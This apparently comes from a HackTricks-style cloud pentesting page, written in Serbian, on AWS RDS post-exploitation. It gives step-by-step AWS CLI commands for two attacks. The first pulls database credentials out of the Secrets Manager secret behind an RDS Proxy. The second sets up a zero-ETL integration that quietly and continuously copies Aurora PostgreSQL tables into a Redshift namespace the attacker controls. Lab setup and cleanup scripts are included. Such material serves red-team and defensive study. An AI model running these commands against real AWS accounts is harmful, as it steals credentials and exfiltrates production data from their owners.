||||
### Prikupljanje DB kredencijala preko RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
|
||||
Iskoristite konfiguraciju RDS Proxy da otkrijete Secrets Manager secret koji se koristi za backend autentifikaciju, zatim pročitajte taj secret da biste dobili kredencijale baze podataka. Mnoge okoline dodeljuju široka `secretsmanager:GetSecretValue` prava, što ovo čini niskotarifnim pivotom ka DB creds. Ako secret koristi CMK, neadekvatno ograničene KMS dozvole mogu takođe omogućiti `kms:Decrypt`.
|
||||
|
||||
Potrebne dozvole (minimum):
|
||||
- `rds:DescribeDBProxies`
|
||||
- `secretsmanager:GetSecretValue` na pomenutom SecretArn
|
||||
- Opcionalno kada secret koristi CMK: `kms:Decrypt` na tom ključu
|
||||
|
||||
Uticaj: Trenutno otkrivanje DB korisničkog imena/lozinke konfigurisanih na proxy-ju; omogućava direktan pristup DB ili dalje lateralno kretanje.
|
||||
|
||||
Koraci
|
||||
```bash
|
||||
# 1) Enumerate proxies and extract the SecretArn used for auth
|
||||
aws rds describe-db-proxies \
|
||||
--query DBProxies[*].[DBProxyName,Auth[0].AuthScheme,Auth[0].SecretArn] \
|
||||
--output table
|
||||
|
||||
# 2) Read the secret value (common over-permission)
|
||||
aws secretsmanager get-secret-value \
|
||||
--secret-id <SecretArnFromProxy> \
|
||||
--query SecretString --output text
|
||||
# Example output: {"username":"admin","password":"S3cr3t!"}
|
||||
```
|
||||
Lab (minimalno za reprodukciju)
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
SECRET_ARN=$(aws secretsmanager create-secret \
|
||||
--region $REGION --name rds/proxy/aurora-demo \
|
||||
--secret-string username:admin \
|
||||
--query ARN --output text)
|
||||
aws iam create-role --role-name rds-proxy-secret-role \
|
||||
--assume-role-policy-document Version:2012-10-17
|
||||
aws iam attach-role-policy --role-name rds-proxy-secret-role \
|
||||
--policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
|
||||
aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
|
||||
--auth [AuthScheme:SECRETS] \
|
||||
--role-arn arn:aws:iam::$ACCOUNT_ID:role/rds-proxy-secret-role \
|
||||
--vpc-subnet-ids $(aws ec2 describe-subnets --filters Name=default-for-az,Values=true --query Subnets[].SubnetId --output text)
|
||||
aws rds wait db-proxy-available --db-proxy-name p0
|
||||
# Now run the enumeration + secret read from the Steps above
|
||||
```
|
||||
Čišćenje (lab)
|
||||
```bash
|
||||
aws rds delete-db-proxy --db-proxy-name p0
|
||||
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
|
||||
aws iam delete-role --role-name rds-proxy-secret-role
|
||||
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
|
||||
```
|
||||
### Neprimetna kontinuirana eksfiltracija putem Aurora zero‑ETL u Amazon Redshift (rds:CreateIntegration)
|
||||
|
||||
Iskoristite Aurora PostgreSQL zero‑ETL integraciju za kontinuiranu replikaciju produkcijskih podataka u Redshift Serverless namespace koji kontrolišete. Uz permisivnu Redshift resource policy koja autorizuje CreateInboundIntegration/AuthorizeInboundIntegration za konkretan Aurora cluster ARN, napadač može uspostaviti kopiju podataka skoro u realnom vremenu bez DB creds, snapshots ili izlaganja mreži.
|
||||
|
||||
Permissions needed (minimum):
|
||||
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
|
||||
- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
|
||||
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query)
|
||||
- `rds-data:ExecuteStatement` (optional; to seed data if needed)
|
||||
|
||||
Tested on: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
|
||||
|
||||
<details>
|
||||
<summary>1) Kreirajte Redshift Serverless namespace + workgroup</summary>
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \
|
||||
--admin-username adminuser --admin-user-password 'AdminPwd-1!' \
|
||||
--query namespace.namespaceArn --output text)
|
||||
RS_WG_ARN=$(aws redshift-serverless create-workgroup --region $REGION --workgroup-name ztl-wg \
|
||||
--namespace-name ztl-ns --base-capacity 8 --publicly-accessible \
|
||||
--query workgroup.workgroupArn --output text)
|
||||
# Wait until AVAILABLE, then enable case sensitivity (required for PostgreSQL)
|
||||
aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-wg \
|
||||
--config-parameters parameterKey=enable_case_sensitive_identifier,parameterValue=true
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>2) Konfigurišite Redshift politiku resursa da dozvoli izvor Aurora</summary>
|
||||
```bash
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
SRC_ARN=<AURORA_CLUSTER_ARN>
|
||||
cat > rs-rp.json <<JSON
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AuthorizeInboundByRedshiftService",
|
||||
"Effect": "Allow",
|
||||
"Principal": {"Service": "redshift.amazonaws.com"},
|
||||
"Action": "redshift:AuthorizeInboundIntegration",
|
||||
"Resource": "$RS_NS_ARN",
|
||||
"Condition": {"StringEquals": {"aws:SourceArn": "$SRC_ARN"}}
|
||||
},
|
||||
{
|
||||
"Sid": "AllowCreateInboundFromAccount",
|
||||
"Effect": "Allow",
|
||||
"Principal": {"AWS": "arn:aws:iam::$ACCOUNT_ID:root"},
|
||||
"Action": "redshift:CreateInboundIntegration",
|
||||
"Resource": "$RS_NS_ARN"
|
||||
}
|
||||
]
|
||||
}
|
||||
JSON
|
||||
aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --policy file://rs-rp.json
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>3) Kreirajte Aurora PostgreSQL klaster (omogućite Data API i logičku replicaciju)</summary>
|
||||
```bash
|
||||
CLUSTER_ID=aurora-ztl
|
||||
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--engine aurora-postgresql --engine-version 16.4 \
|
||||
--master-username postgres --master-user-password 'InitPwd-1!' \
|
||||
--enable-http-endpoint --no-deletion-protection --backup-retention-period 1
|
||||
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
|
||||
# Serverless v2 instance
|
||||
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--serverless-v2-scaling-configuration MinCapacity=0.5,MaxCapacity=1 --apply-immediately
|
||||
aws rds create-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 \
|
||||
--db-instance-class db.serverless --engine aurora-postgresql --db-cluster-identifier $CLUSTER_ID
|
||||
aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
|
||||
# Cluster parameter group for zero‑ETL
|
||||
aws rds create-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg \
|
||||
--db-parameter-group-family aurora-postgresql16 --description "APG16 zero-ETL params"
|
||||
aws rds modify-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg --parameters \
|
||||
ParameterName=rds.logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \
|
||||
ParameterName=aurora.enhanced_logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \
|
||||
ParameterName=aurora.logical_replication_backup,ParameterValue=0,ApplyMethod=pending-reboot \
|
||||
ParameterName=aurora.logical_replication_globaldb,ParameterValue=0,ApplyMethod=pending-reboot
|
||||
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--db-cluster-parameter-group-name apg16-ztl-zerodg --apply-immediately
|
||||
aws rds reboot-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
|
||||
aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
|
||||
SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID --query 'DBClusters[0].DBClusterArn' --output text)
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>4) Kreirajte zero‑ETL integraciju iz RDS</summary>
|
||||
```bash
|
||||
# Include all tables in the default 'postgres' database
|
||||
aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \
|
||||
--target-arn "$RS_NS_ARN" --integration-name ztl-demo \
|
||||
--data-filter 'include: postgres.*.*'
|
||||
# Redshift inbound integration should become ACTIVE
|
||||
aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS_ARN"
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>5) Materijalizujte i upitujte replicirane podatke u Redshiftu</summary>
|
||||
```bash
|
||||
# Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
|
||||
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
|
||||
--sql "select integration_id from svv_integration" # take the GUID value
|
||||
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
|
||||
--sql "create database ztl_db from integration '<integration_id>' database postgres"
|
||||
# List tables replicated
|
||||
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database ztl_db \
|
||||
--sql "select table_schema,table_name from information_schema.tables where table_schema not in ('pg_catalog','information_schema') order by 1,2 limit 20;"
|
||||
```
|
||||
</details>
|
||||
|
||||
Dokazi primećeni tokom testa:
|
||||
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
|
||||
- SVV_INTEGRATION showed integration_id 377a462b-c42c-4f08-937b-77fe75d98211 and state PendingDbConnectState prior to DB creation.
|
||||
- Nakon CREATE DATABASE FROM INTEGRATION, pregled tabela otkrio je šemu ztl i tabelu customers; upit nad ztl.customers vratio je 2 reda (Alice, Bob).
|
||||
|
||||
Uticaj: Kontinuirana skoro u realnom vremenu exfiltration odabranih Aurora PostgreSQL tabela u Redshift Serverless pod kontrolom napadača, bez korišćenja database credentials, backups, ili network access do izvornog klastera.
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user